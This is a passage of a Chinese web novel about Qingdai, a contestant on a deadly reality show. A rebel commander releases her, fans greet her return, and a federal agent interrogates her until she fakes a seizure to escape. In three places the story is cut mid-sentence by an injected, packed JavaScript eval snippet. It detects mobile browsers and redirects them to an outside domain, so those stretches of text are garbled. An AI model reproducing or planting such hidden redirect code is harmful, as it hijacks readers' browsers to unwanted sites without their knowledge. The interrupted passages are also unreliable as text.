“你最好老老实实回答，否则等会儿你问我的时候，我也只回答你一半。”指挥官“威胁”她道。 指挥官这招很管用，青黛马上补充道：“一个攸关生死存亡的重要任务，我不能说得太清楚，因为我会因为泄密而遭受危险。” 其实她也没说谎，只是，这个说法是个人都不会信，但指挥官似乎相信她，竟然表情凝重地陷入了思考。 半晌后，指挥官幽幽开口：“必须要完成吗？那个任务。据说这个真人秀很危险的。” “是的，必须要完成，关联重大！”青黛一脸严肃。 确实重大，不出道就出殡。 “不能找个人代替你去执行吗？” “应该不行吧？”青黛不晓得指挥官为什么会问出这种问题。 指挥官认真地看着青黛的眼睛，几秒钟的欲言又止后，他低下了头，沉声说道：“我没问题了，你问我吧。” 青黛明显能感觉到指挥官的语气里喷薄而出的失落和焦虑，但此时，她没什么心思顾及他的情绪，她只想找到自己想知道的答案： “那4个选手究竟怎么回事？” 这是青黛多年当特工落下的职业病——一定要把事件的来龙去脉理清楚，给所有的怀疑找到答案。 不然她寝食难安。 指挥官想了想，把事情的前因后果跟青黛解释了个清清楚楚： 那4个人迷路后，竟然闯进了玄火军控制的露天矿山，矿山存在强大的磁场，形成了一个天然的信号屏蔽装置，所以那几个选手进入矿山后就没了信号。 那4个选手脑回路十分清奇——在手无寸铁，人数稀少的情况下，竟然想抢劫负责矿山治安的玄火军的武器。 结果不用说，自然是被玄火军光速拿下了。 在审讯过程中，玄火军问他们有没有同伙，他们说他们在地表录节目，他们的同伴总共有108个人，都装备着最好的设备和武器，他们坚信，那104个人是会来救他们的。 听到配备着精良装备的108个人，看守矿山的玄火军眼睛都亮了——玄火军对缴获物资的规定是，谁抢到就是谁的。 矿山的玄火军按照那4个傻叉的描述，快速锁定了林北城，并在节目组回程的必经之路上设下了埋伏——用定位干涉装置影响车辆定位行进系统，让他们偏离既定路线，掉进玄火军的陷阱。 那“陷阱”是玄火军之前开采的一个矿坑，如今已经废弃了。 至于那4个人怎么死的，那就更离谱了—— 矿山的玄火军本想把他们押送回玄火城一起关押，谁知他们在路上抢了车跑了，他们不认识路，车辆直接冲下了悬崖，4个人瞬间一起死了。 悬崖下面是有信号的，刚死，他们的死讯就被节目组那边接收到了，但由于车祸的爆炸完全损坏了摄像装置，他们连个死前画面都没能留下。 玄火军抓捕选手们，其实就是为了装备和武器，尤其是他们身上的防护服，那对玄火军来说，是无比重要的物资。 青黛觉得指挥官没说谎，虽然过程很离谱，但结果毫无破绽。 “你们造不出来吗？那些防护服？还有装甲车。”青黛问道，她并不清楚玄火军和九幽那边的科技差距。 “也不是造不出来，抢来的不用花钱。”指挥官大言不惭道。 技术上差距不大，大的是资金差距。 “这不是就是山匪路霸行为吗？”青黛眯着眼，感觉这伙叛军很不地道。 “对啊。”指挥官无比坦然道，“不但抢，也捡的，你们在林北城丢掉的那些装备，我都派人捡回来了。” 指挥官说这话时，神态骄傲极了。 青黛终于明白为什么地牢大门门锁是那个样子了，估计也是在废城里捡来的，这个指挥官还真是会过日子啊。 “你们还真是穷凶极恶，杀人越货，滥杀无辜，强迫劳动，无歹不作啊。” “你怎么能这么说我？我是爱抢点物资，但什么时候滥杀过无辜了？又什么时候强迫过劳动了？”指挥官震惊到机械面具都跟着抖了起来。 “那你们每次抓到的平民呢？” “都放了啊。有些人不愿意回去九幽，选择留在玄火城，我也不能赶人家走吧？”指挥官的语气里全是委屈。 “真的吗？我不信。” “那你拿出我迫害平民的证据啊。” “……”还真没有证据。 青黛仔细一琢磨，关于玄火军所有的负面消息，似乎都是九幽那边的媒体单方面散播的，确实没人知道玄火军到底什么情况，都是“我听说”“我有个朋友”“我邻居表叔的二舅”……之类的道听途说。 还有一两个“亲历者”， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14882205|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 每天在媒体上诉说自己被玄火军奴役的悲惨故事，但人却好好地活在九幽，而且靠这些故事赚得盆满钵满。 “我们抓到人后，一般都是先关进地牢，询问盘查后再处理，如果是间谍，就关起来，如果是平民，就放了。谁知道你们动作那么快，刚关进去就越狱了，给我地牢都炸开花了。”指挥官说话时，那叫一个痛心疾首啊，“不知道要花多少钱才能修好。” “你想怎么处理我？” 青黛深知，无论在哪，组织罪犯集体武装越狱都是杀无赦的重罪。更何况，自己是带着百十号人越狱，还抄了人家的军火库，最后火并失败（未遂）被抓。 但青黛坚信这个指挥官不会杀自己——能那样跟自己说话的人，是绝对不会要自己命的。于是，她决定尝试探一下这个指挥官的底线。 她猛然站起来，带着捆在身上的凳子，蹦到了指挥官面前——原本这个动作不是这么设计的，要帅气很多，但目前只能做成这个愚蠢的样子了。 指挥官明显被她惊到了，竟然扶了摇摇欲坠的青黛一把。 青黛对着指挥官故作凶狠地说：“就是我组织他们越狱的，我认，要杀要剐悉听尊便。” 气势还是有的，就是姿势真的没法看，蠢到好笑。 指挥官听罢竟然叹了口气，随后走到自己的办公桌旁边，按下了桌上的一个按钮。 很快，他的副官敲了敲门，走了进来，敬了个礼，“长官！”礼毕后，副官指着青黛，毕恭毕敬问指挥官道： “直接处决吗？” 青黛这个罪名，确实值得一个斩立决。 “处什么决？放回去！包括跟她一起抓来的那些选手，都放回去！”指挥官的语气有着明显的气急败坏。 “放回去哪？”副官似乎没搞清楚状况。 “哪来的放回哪去！” “？哪？” “九幽！九幽！九幽！”指挥官连喊三遍。 “九幽？”副官以为自己听错了，眼珠子都要瞪出来了。 青黛的眼珠子瞪得比副官还大，她不加掩饰地看着这个指挥官，满脸写满了问号——她笃定这个指挥官不会杀她，但万万没想到他会放了她。 这人疯了吧？ “她是领导越狱的主犯啊，狱警的脖子都被她的人弄断了。”副官严词提醒道。 “人死了吗？” “那倒没有。” “那不就行了。”指挥官吼道，“少说废话，赶紧放人，现在立刻马上！” 副官虽然一脸不情不愿，但还是咬牙切齿地执行了指挥官的命令。 青黛和选手们真的被放了，不但人被放了，连被收缴的装甲车和防护服都一并归还了。 别说，这防护服此时还真的派上了大用场——装甲车被打烂了，失去了密闭性，防不住外面的毒瘴，现在跟敞篷车区别不大，四处漏风。 大家穿着防护服，坐在无比透气的装甲车里。装甲车被叛军的拖车拖着，拐来拐去开出去了不知道多久后，被拖车“遗弃”在了地表荒漠上。 22. 极限越狱5 看着拖车绝尘而去的车尾，选手们无比困惑——为什么他们被放了。 在他们的视角，事情是这样的：大家被无人机投放的迷烟迷晕了，苏醒时每个人都戴着镣铐躺在单人监房的地板上，随后，他们就被玄火军带回了装甲车，还把防护服也还给了他们，最后，青黛被一个穿着明显比大家等级高不少的军人带上了车，装甲车被拖走了，他们被释放了。 “刚才带你上车的人是谁？”巫马莎问道，“怎么不像狱警啊？” “不是狱警，是玄火军指挥官的副官。”青黛回答。 “为什么是他带你上车？” “因为我被指挥官抓去审讯了啊。” 众人纷纷表示合理，毕竟是主导越狱的首犯，不审才是奇怪。 “所以，你跟叛军头目说了什么？能让他把我们全放了？”有个选手反应了过来，把“青黛跟指挥官单独会面”和“大家被释放”联系了起来。 青黛很真诚地回答道：“我不知道。” 但没人信，大家都觉得她在故作神秘，怎么可能有人带着百十号人越狱，抢了叛军的军火库，火并后失败，被抓入叛军首脑办公室审讯后，毫发无损地，被放了？ 简直匪夷所思。 别说选手们了，连青黛本人也觉得匪夷所思。 莫之臻看着青黛，满头满脸的问号，但张了半天嘴，憋了回去。 青黛自然看出了他有话要问，但既然他选择吞下去，自己也不好主动说什么。 “我们现在怎么办？”巫马莎顺着车身的窟窿眼，看了一眼外面无尽的荒漠。 “等着吧。”青黛闭上了眼，准备休息片刻。 “等死吗？”巫马莎还是不相信他们已经脱险了——在九幽人心目中，玄火军是恶魔中的恶魔，不可能放过任何一个人那种。 “你是不是傻？他们如果打算杀了我们，肯定不会这么大费周折把人折腾到这里来，在玄火城直接动手多方便，何必呢？”一个选手插嘴道。 “不是说送佛送到西吗？把我们这么丢在半路，算是怎么个「释放」啊？说不定就是遗弃，让我们自生自灭。”巫马莎还是一脸心有余悸，“不然我们下车走回九幽吧？” “别急啊，再等等看。”青黛安慰她道。 青黛莫名地相信那个指挥官，她觉得他说放了自己，肯定不会食言。 拖车离开半小时后，装甲车上的信号忽然恢复了，看着那些开始闪烁的信号灯，所有选手都感觉热泪盈眶。 装甲车按照之前的既定路线再次启动，朝着九幽出入口快速驶去。 与此同时，装甲车和选手摄像头的画面都再次出现在了导播间的屏幕上。 已经急疯了的节目组工作人员，此时看到画面跟看到上帝显灵似的，纷纷热泪盈眶，跳起来抱成一团，欢呼雀跃。 短短大半天就形容憔悴的汪泰初，此时也是激动万分，当然，他的激动只针对事业，而非对选手的安然无恙感到欣慰，他狠狠搓了一把脸上的胡茬，对着导播喊道：“赶紧！继续直播！推暗网热搜！推订阅用户的手机！” “热搜标题怎么写啊？我们都不知道他们去哪了，也不知道发生了什么，事情的来龙去脉都不知道啊。”现场导演问道。 “不知道还不会编啊？编对了就是我们料事如神，编错了，辟个谣，再爆一次真相，又多一条热搜，怕什么？”汪泰初真真互联网新闻圣体。 现场导演得令后，立刻召集宣发部门开会去了，十分钟后，一个无比耸动的标题出现在了订阅用户的新闻推送里——从叛军手中死里逃生是一种什么体验？ 他们根本不知道选手们是被玄火军劫持的，之所以编出这个主题，全因为这个主题够耸人听闻，够吸引眼球，够炸裂，谁知竟无意中押对了真相。 果不其然，瞬间，这条新闻就在暗网爆了。比新闻更热烈的，是青黛的粉丝们。 【准备去迎接女神的，进群商议，群号是……】 【我！】 【我！】 【我！】 【别相信那个发群号的骗子，他是卖保健品的，我申请进群，他说必须买保健品才能进去。】 【可以自己去啊，不就是一层出入口吗。】 【一层……我有点怕。】 【怕个屁啊，连一层都怕，你凭什么粉我们青黛女杀神？】 …… 大家吵着闹着骂着商量着，不但确定了接车事宜，连横幅和应援装备都赶工做出来了。 将近4个小时后，装甲车回到了九幽，停在了出入口外面。选手们被要求下车，徒步经过消杀过渡舱。 而那辆千疮百孔的装甲车被直接扔在了地表，不要了——玄火军看来的好东西，在九幽就是再无利用价值的废品。 青黛忽然想到那个爱捡破烂的指挥官，如果他得知这辆他心心念念的车被这么丢弃在地表，他得气急败坏成什么样。 选手们进入空气净化过渡舱后，无数个喷头启动，开始对选手们身上的每个角落都进行消杀处理，完成后，舱内的空气净化系统启动，把有毒空气抽干后，重新冲入干净的空气。 第一轮的消杀换气结束后，他们进入了一个二次净化系统——就是把刚才干的又干了一遍，只不过时间更长，过程更精细。 在完全符合进入九幽的标准后，选手们进入了检查舱，几个荷枪实弹的军警，拿着扫描设备，正等待着他们——他们需要对每个选手的身份进行核实，才能放行。 九幽边防的规矩一向如此——出九幽随便走，但进九幽需要严格的身份检查，以防混入叛军。 当军警手中的生物扫描仪碰到青黛时，她的心几乎提到了嗓子眼——不知道自己死囚的身份会不会被查出来，万一查出来，自己是不是又要被执行死刑了？这一趟地表逃杀不是白搞了？ 红灯闪烁了很久后，绿灯终于亮起了：“叮——完成扫描……” 绿色！青黛从未感觉自己这么喜爱过绿色。 “……青黛，女，22岁，九幽第十层望乡区三十三坊居民，就职于维纳斯义体美容中心……”扫描仪报出一串青黛听都没听过的信息后，最后询问道，“是否确认您的身份信息？” “确认。”青黛面不改色地认领了这个不属于自己的身份。 当所有选手通过检查后，最后一道通往九幽的大门打开了——对别人来说，这是通往家的，但对青黛来说，这是通往未卜之路的。 与其说是一扇门，不如说是一个拥有两个无比坚固大门的防爆盒子——选手们全部进入盒子后，身后的门被彻底关闭，面前的门才会被打开——这个设计是为了防止有人暴力冲卡。 青黛第一次以“自由之身”踏足在了九幽的地界上。 她刚刚前行几步，就被忽然冒出来的海啸般的粉丝里三层外三层地包围了。 尖叫声不绝于耳，示爱声一浪高过一浪；粉丝精心制作的全息投射欢迎画面在空中各种争奇斗艳；他们的手持屏幕上，闪烁着青黛的名字，视频片段或是充满爱意的话语；还有礼物，各种各样的礼物，甚至有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890814|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人送了个等比例的青黛人偶给青黛。 人群开始不由自主地向前涌动，边防人员纷纷被迫化身安保开始维持秩序。 强行穿过粉丝的海洋后，青黛陷入了媒体的世界，眼前铺天盖地的，全是娱乐记者。她很是机警地放下了防护面罩上的遮光罩，才勉强没被闪光灯闪瞎眼。 “听说你们被叛军捉拿并释放了，请问可以透露一些细节吗？” “为什么传说中杀人不眨眼的叛军唯独释放了你们呢？还是说，这其中有什么不可告人的交易？” “透露一下叛军老巢的位置和坐标吧，还是说，你们根本没有被抓，这一切都是节目组的炒作？” …… “他们怎么知道我们……”巫马莎低声问青黛，但话说到一半，就被青黛强行打断了：“嘘——别说话。” 原本还绞尽脑汁准备回答问题的选手们，此时同时选择了沉默——这件事处于一种瞒不住但也说不清的状况，尤其面对的是这些唯恐天下不乱的坏透了的八卦媒体——他们不会对自己煽动的恶意揣测负责，但他们的话能置人于舆论的死地。 终于，节目组的公关出现了，公关人员强行带离了选手们，并拦截住了媒体的进攻： “各位媒体朋友，明晚八点，在我们巅峰文化大厦的顶层，会举办咱们「制造杀手108」第一阶段圆满结束的庆祝酒会，欢迎各位莅临。” 接下来，是每个选手最最最期待的环节——睡觉。 选手们直接被送进了节目组给他们准备好的房间，男选手一间，女选手一间，布置得跟学校宿舍似的，全是上下铺。 没人抱怨，因为他们现在困到随便给个枕头就能睡着，根本不在意环境。 选手们就这么集体昏睡了过去，再睁开眼，时间整整过去了24小时，已经是第二天下午了。 睡饱的选手们洗漱完毕，吃了午饭，然后被集体运到了节目演播厅的后台。化了妆，换上了节目组提供的华服，准备出席晚上的派对。 巫马莎换了一套十分符合她身份的粉色公主裙子，站在一袭黑色短旗袍的班宁旁边，很是娇嫩。 青黛怎么被服装师硬塞进了一条酒红色的长摆鱼尾裙里，她从换衣间出来时，是蹦着的——这动作让她想起了林北城门口那些鱼怪。 巫马莎看到青黛盛装的样子，简直目不转睛：“你就该这么穿！好看死了。” “是吗？”这是青黛第一次这么穿，很是不自信。 “确实很好看。”莫之臻也赞美道。 “真的好看。”旁边的班宁蹿过来了，跟着大家附和道。 青黛这才看清班宁的腿，欣喜问道：“这就是你的铁腿？好酷！” 班宁开始还很害羞，看到青黛的反应，自信了起来。 “这是本来的颜色吗？” “我找义体美容中心弄的，还做了彩绘。” “彩绘是一次性的吗？” “也不是一次性的，但不喜欢了可以换新的。” “是卸下来扫描，然后美容师会帮你设计方案，设定好后，它会被塞进一个机器喷色，很快就弄好了。” “镶钻可以吗？” “当然可以，就是实用性差点，会挂花裤子，有的时候还会掉钻。” …… 正当两个姑娘讨论义体美容讨论得热火朝天时，一群全副武装穿着制服的人出现在他们的面前。 “青黛小姐，我们是联邦安全局的探员，”那人亮出证件，“我叫赵坚白，你得跟我们走一趟。” 23. 极限越狱6 联邦国家安全局？ 青黛听到这个抬头明显一愣，但马上一脸了然于心——这事大概率跟玄火军脱不开干系，毕竟有50个人见证了自己跟玄火军总指挥的“亲密接触”，完全隔绝消息是不可能的。 整个化妆间都安静了下来，大家的脸上都染上了一层不安——安全局在九幽的口碑极差，所谓维护国家安全，只是幌子，本质上就是维护联邦黑暗统治的无良工具，迫害平民和反对势力的杀戮机器。 被他们抓走的人，一般都不会有什么好下场。 此时，莫之臻条件反射般用身体挡在了青黛前面，质问那个赵坚白道：“你有逮捕令吗？” “我们国安局有权利请任何公民回去协助调查。” “没逮捕令你们没权利抓人。” “我说了，是请青黛小姐回去协助调查。”赵坚白一把推开了莫之臻，并用带着浓浓警告意味的语气说道：“这位先生，这件事与你无关，请不要妨碍我们办案。” 莫之臻显然不拿这段警告当一回事，但很快，赵坚白就把自己的警告言语变成了动作——他用电击棒把莫之臻电晕了，他的手下很是贴心地把晕倒的莫之臻扔到了旁边的沙发上。 眼前的场景让青黛差点笑出声，因为她自己解决莫之臻也是这个思路，确实好用。 “走吧。”青黛从善如流，她可不想被电晕了拖走，“不过，你们容我换身衣服，穿这条裙子，我得蹦着走。” “就穿这个吧，很美。”赵坚白不肯让青黛离开自己的视线，生怕事情有变。 青黛耸了耸肩，表示同意，她妩媚地转了个身，竟然被裙摆绊倒了，裙子后背的拉链也因为她用力的动作而全部崩开。 班宁眼疾手快，扯了旁边一个小圆桌上的桌布，盖在了青黛身上，避免了她当众走光。 “现在看来，不换不行了呢。”青黛尴尬地笑了笑。 赵坚白一脸不爽，但只能挥了挥手，示意她快去。 班宁帮青黛遮着后背，巫马莎则是帮她提着裙摆，三个人快速进入了更衣室。 “等下我被带走时，你们想办法拍摄视频，然后放出去，标题越耸动越好，散播越广越好……” 交代完，青黛换上自己的衣服，走了出来。 她故意绊了一下，扑在赵坚白身上，赵坚白果然一把粗暴将她拽了起来——这一切，都被巫马莎的手环拍得清清楚楚。 赵坚白带着青黛直接上了天台，一台悬浮车正等在那里。 青黛有点兴奋，这车她没坐过。 会飞哎！ 坐上去五分钟后，她吐了。 赵坚白一脸嫌弃地看了一眼，同时递给她几张纸巾：“别往车外吐啊，高空抛物，尤其是排泄物是违法的。” “这叫呕吐物吧？”青黛捂着嘴纠正道。 “一个性质。”赵坚白说。 青黛心里骂骂咧咧，但嘴上风平浪静，她担心嘴上骂骂咧咧会被扔下去。 十五分钟后，悬浮车停在了位于30层的联邦安全局大厦的天台。 青黛跟着赵坚白下了车，从天台乘坐电梯抵达了审讯室的楼层。 赵坚白随便开了一扇门，把青黛“请”了进去，跟着他们一起进去的，还有一名女探员，她是作为协同人员出席审讯的，避免审讯过程中可能因缺乏监督而滥用职权，出现诱供、逼供等非法行为。 审讯室里，灯光惨白而刺眼，像是专门设定过的，让人烦躁无比。房间不大，四面都是镜子。青黛知道，这是为了让人在心理上产生压迫，会觉得四周都有人监视，从而压力剧增，那光线也是这个效果。 都一百年了，审讯方式也没什么进步啊。青黛心里感慨道。 一张厚重的金属桌子摆在中央，两边各放着一把椅子，角落是协同人员的位置。 青黛按照指令，坐在了其中一张椅子上，赵坚白则是坐在了她的对面。 “姓名？” “青黛。” “职业？” “义体美容师。” 赵坚白冷笑一声：“美容师？一个美容师为什么能熟练掌握所有的古典武器的使用，甚至高度掌握战略战术？” 说着，他一挥手，身后的镜子开始播放视频，上面全是青黛大展身手的画面。看样子，这人把青黛已经研究透了。 “没人规定美容师不能爱好枪械吧？”青黛从容不迫道。 如果在青黛的世界，美容师爱好枪械确实奇怪，但在这个尚武的世界，任何人爱好枪械都不奇怪。 青黛轻笑一声，补充道：“而且我是义体美容师，跟普通的美容师能是一回事儿吗？我不但爱好枪械，还能把枪械改装在人身上呢。” 青黛无懈可击地回答，完全击碎了赵坚白的第一轮攻势，他沉思了片刻，开始了第二轮攻击： “你为什么去参加杀手秀？别告诉我，美容师参加杀手秀也是常态。” “为了钱。奖金不少呢，能出道还能签约顶级杀手公司，从此吃香喝辣。你知道美容师赚多少？金牌杀手赚多少？我就是想借着杀手秀转行，出大名，赚大钱。”青黛换了副市侩的嘴脸，演得惟妙惟肖。 “钱？”赵坚白猛地站起身，双手撑在桌上，逼近青黛，“你喜欢的是杀手秀的奖金，还是玄火军给你的奖金啊？” “什么意思？” 青黛不太喜欢这个探员的审讯风格，一惊一乍的，没有技巧，全是感情。 “你认识玄火军总指挥官狄炎秋吗？”赵坚白话题一转，生硬地过渡到了那个指挥官身上。 “他叫狄炎秋啊？之前不认识。现在也不算认识吧？”青黛否认道。 “不认识吗？”赵坚白哂笑一声：“听说，你进入狄炎秋的办公室再出来后，你们就被全部释放了。不认识，他为什么要这么做？” 从来没有九幽的人能从叛军手中活着回来，所以他们怀疑青黛是玄火那边策反了的二五仔，或者，青黛根本就是潜入九幽的玄火间谍。 赵坚白的眼神仿佛要将青黛洞穿，但青黛一脸老神在在道：“对，我进去他办公室，跟他说了几句话，他就决定把我们放了，我也觉得他脑子有问题。” “哦？” “你知道我为什么进他办公室吗？因为我带着所有囚犯越狱被抓了，还抢了他们的军火库。你告诉我，如果我是玄火间谍，我需要越狱吗？一个玄火总指挥官，会去策反一个为了奖金参加杀手秀毫无忠诚可言的越狱的杀手吗？” 杀手跟雇佣兵，自古以来就是不忠诚的职业，谁给钱就听谁的。 “说不定他给你钱了呢？” “玄火军什么样我不信你不知道，他们但凡有收买我的钱，也不会那个样子了，穷得叮当乱响的。”青黛一脸嫌弃道。 “你说了这么多，并不能证明你们之前不认识，你们之间没有交易。”赵坚白坐回椅子，放缓语速，但每一个字都铿锵有力，“青黛小姐，你现在的处境并不好。坦白交代，是你唯一的出路。我们已经掌握了充足的证据，你逃不掉的。” 充足的证据个屁，但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14895380|159545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凡有一点证据，青黛出现的地点肯定是刑房，而不是审讯室。 “首先，去地表录节目是保密的，我们每个选手都是到了目的地才知道，你可以去节目组询问。其次，被玄火军抓获完全是个意外，是由4个走丢的选手出卖导致的，这个你可以去玄火军矿山问，但这个可能有点难度。所以，两个我根本不可能预知的事件叠加导致的结果，你非要说我有预谋，我能怎么辩解？欲加之罪何患无辞。不然，你直接去问狄炎秋得了。” 赵坚白被青黛噎得说不出话，青黛的话句句属实，这他是知道的，诬陷你的人比任何人都更加知道你的无辜，他之前那些屁话完全就是在使诈。 沉默良久后，赵坚白直接使出杀手锏——测谎仪。 青黛被带进了装备着测谎仪的房间，女探员尝试帮助青黛插上管线，但找了半天，也没找到脑机接口。 “赵组长，嫌疑人没有脑机接口。” “你为什么没有脑机接口？”赵坚白斜着眼问青黛道。 有脑机接口，测谎可谓易如反掌——机器会直接骇入人脑，进行记忆读取。没脑机接口，只能使用传统的测谎方式，用生理指标进行检测。 虽然不及直接连接大脑的测谎仪高效，但测谎精准度也是很高的，完全可以采纳作为呈堂证供。 “没有脑机接口犯法吗？”青黛满脸无辜地问道。 “不犯法，但很奇怪。”赵坚白说。 确实奇怪，九幽的人几乎百分之百安装了脑机接口——在九幽拥有脑机接口，就跟青黛的世界人们使用智能手机一个概念。 至于青黛这个原身为什么没装脑机接口，她也不知道，她又没记忆。 赵坚白命令女探员换了一套生理指标测谎设备，女探员很快就给青黛装好了。 这装备青黛经常用，但都是用在别人身上。 赵坚白开始测谎了，他的方式简单粗暴，就是把重点问题反反复复地问，比如： “你是第一次去玄火军的驻地吗？” “在这次会面之前，你认识玄火军指挥官狄炎秋吗？” “你是玄火军派来的间谍吗？” “你被玄火军策反了吗？” …… 无论赵坚白怎么问，青黛都是pass的状态，不但通过了，还是无争议通过。 其实她也不确定自己跟叛军有没有关系，狄炎秋的行为和言谈确实很暧昧很奇怪，但自己也确实没记忆。 对机器来说，她没撒谎。 还好赵坚白这个人比较急功近利，只问关键问题，完全没再问那些无关紧要的内容，比如，你的职业是什么，你为什么参加杀手秀……但凡再问一遍这些问题，青黛100%大露馅。 此时，青黛忽然相信狄炎秋说的“抓到的平民都被放了”的话了。看样子，被放回去的那些人，因为害怕被联邦安全局的人打成间谍，所以对这段“故事”都避而不谈；而暴露自己去过玄火城的，大概率都被安全局塑造成叛徒而秘密处决了。 久而久之，玄火城就变成了“所有人都有去无回”的可怕地方。 【赵组长，她真的没问题，其实不用再问了。】女探员在旁边用通讯器跟赵坚白打字交流道。 【不可能，她肯定有问题！】赵坚白回复。 【但我们既没有证据，连个测谎指数都没，你拿什么证明她有问题啊？】 【找副局长，让他给我特批一个逮捕令，我不能放她走。】 赵坚白下定决心，准备跟这个女人死磕了。 24. 极限越狱7 正在此时，赵坚白嘴里的副局长，挺着个肚子，踹门而入，把赵坚白一把从测谎室里推了出去，留下青黛和女探员两人面面相觑。 副局长明显深呼吸了一下，然后问道：“查出什么了吗？” 赵坚白抓了抓头发，低声说：“……没有。” “放人。” “她肯定有问题！测谎仪不准！”赵坚白急了。 “她有没有问题不知道，但如果你再不放人，我就有问题了！”副局长尽量克制住自己的情绪，说道。 “什么意思？” 副局长咬着后槽牙，用手环投射出画面给赵坚白看——一大群人举着“释放青黛”的横幅，把安全局大厦围了个水泄不通。 “这帮人是谁啊？”赵坚白看得一头雾水。 “这女人的粉丝。” “她怎么有这么多粉丝？”赵坚白觉得难以置信。 “你抓的是暗黑真人秀界最耀眼的新星啊。”副局长的语调里全是讽刺。 副局长冷哼一声，随即甩出各大社交媒体的头条给赵坚白看——80%是呼吁营救青黛的内容，剩下20%是炮轰安全局草菅人命的，甚至把之前安全局拿平民当间谍冲业绩的事也全都翻了出来。 这个副局长已经63岁了，再过两年就可以退休了。此时的他不在乎国家安全，只在乎自己能不能顺利安全下车，拿到完整的养老金，而眼前这个有理想的小年轻，绝对是他退休康庄大道上最大的绊脚石。 “您不会因为群众施压，就要放人吧？”赵坚白意识到了副局长的来意。 “所以我问你了，查出什么了吗？”副局长盯着赵坚白问道。 赵坚白一脸吃瘪，确实什么也没查出来，可是此时让他放人，他又不甘心。 就在双方陷入对峙时，女探员的尖叫声从测谎室里传出：“快来人，快来人啊！” 赵坚白面露邪笑，他以为青黛企图逃跑，但凡这女人有动作，那就有充分理由将其拿下了。 他满脸兴奋地冲进审讯室，却发现青黛不但没跑，还整个人躺在地上不停地抖动——她双眼瞪得很大，眼中空洞无神，跟失了魂似的。嘴唇不受控制地抽搐，呼吸急促，面部肌肉也很扭曲，那张漂亮的脸蛋此刻无比狰狞。 像是癫痫。 局里的常驻医生快速赶到，对青黛进行简单的急救处理后，青黛的情况稳定了下来。 “把她送走。”副局长背着手，严令道。 “为什么？”赵坚白想不出“有病”和“释放”之间有什么必然联系。 “她万一在这里出了问题，社会舆论必然让咱们吃不了兜着走。”副局长的眉头拧成了川字，随时能夹死一只苍蝇。 “她是近距离接触过狄炎秋还全身而退的人啊，你真的相信她没问题？”赵坚白还想做最后的挣扎。 “她是不是全身而退不重要，重要的是我想全身而退！”副局长有点急眼了，之前的沉稳全无，冲着赵坚白大吼起来，“把她送回去！” 赵坚白拼命攥紧拳头，十几秒钟才缓缓放开，最终，他咬着牙，弄来一辆轮椅，把虚弱的青黛放了上去。 他亲自推着轮椅，登上了安全局的天台，莫之臻已经在那等青黛了——之前有人通知节目组来接人，莫之臻自告奋勇地来了。 把轮椅推到悬浮车的那十几米路程上，赵坚白低声在青黛耳边说：“你给我小心点，等我找到证据，早晚把你抓回来。” 青黛嘴角微不可察地抽了一下，然后迅速恢复原本的弧度。 赵坚白想把青黛抱上车，被愤怒的莫之臻一把推开，他亲手把青黛放在了副驾驶，并轻轻地关上了车门。 悬浮车缓缓启动，飞离停靠港。 莫之臻开始对着车载ai设定路线，他选了一家九幽最好的医院。他刚设定好路线，青黛铿锵有力的声音从旁边窜了出来： “取消，去巅峰文化大厦。” 莫之臻转头诧异地看向青黛。 “别看了，我没病，装的。” 真的是装的，她当时为了掌握这个技能，在三甲医院癫痫科“实习”了好几天。 “为什么装病？” “用来金蝉脱壳啊，谁看到一个人忽然在自己面前这样，能无动于衷？这招就是要利用人类的恻隐之心。”青黛咧嘴一笑。 “你真的吓到我了。”莫之臻的语调里充满了被戏耍的委屈。 “那是你太脆弱了。” 车此时进入了快速行驶状态，青黛捂着嘴对莫之臻说：“给我个袋子，防水那种。” 莫之臻把自己的高级背包递给青黛。 “这个不行，我要一次性的袋子。”青黛摆了摆手。 “你就当它是一次性的吧，这里除了这个没别的了。” 青黛懒得推辞，扎着架子开始准备吐，谁知悬浮车都开出去十分钟了，她也没什么要吐的感觉。 “奇怪了。” “什么奇怪？” “我刚才坐赵坚白的悬浮车吐了，可现在一点也不想吐。” “不会吧？我没听过有人坐悬浮车会吐啊？那探员故意的吧？” “不是没可能。”青黛若有所思道。 原来赵坚白对她的“攻势”从上车就开始了——用车技把她晃到呕吐——人在不舒服的时候会变得脆弱，此时实行高强度审讯，能事半功倍。 “他们……没有为难你吧？”莫之臻说话时声音很低，带着微微地颤抖，仿佛是在害怕什么。 青黛转过头去，看着他的侧脸，忽然问：“莫之臻，你该不会是喜欢我吧？” “我……没有……”莫之臻慌忙否认。 他话还没说完，悬浮车面板上的警示灯开始疯狂闪动，车载ai发出人声： “由于车主现在的情绪过于激动，各项指数都不符合驾驶标准，ai暂且对车辆进行接管，请车主尽早就医，现在心跳是……” 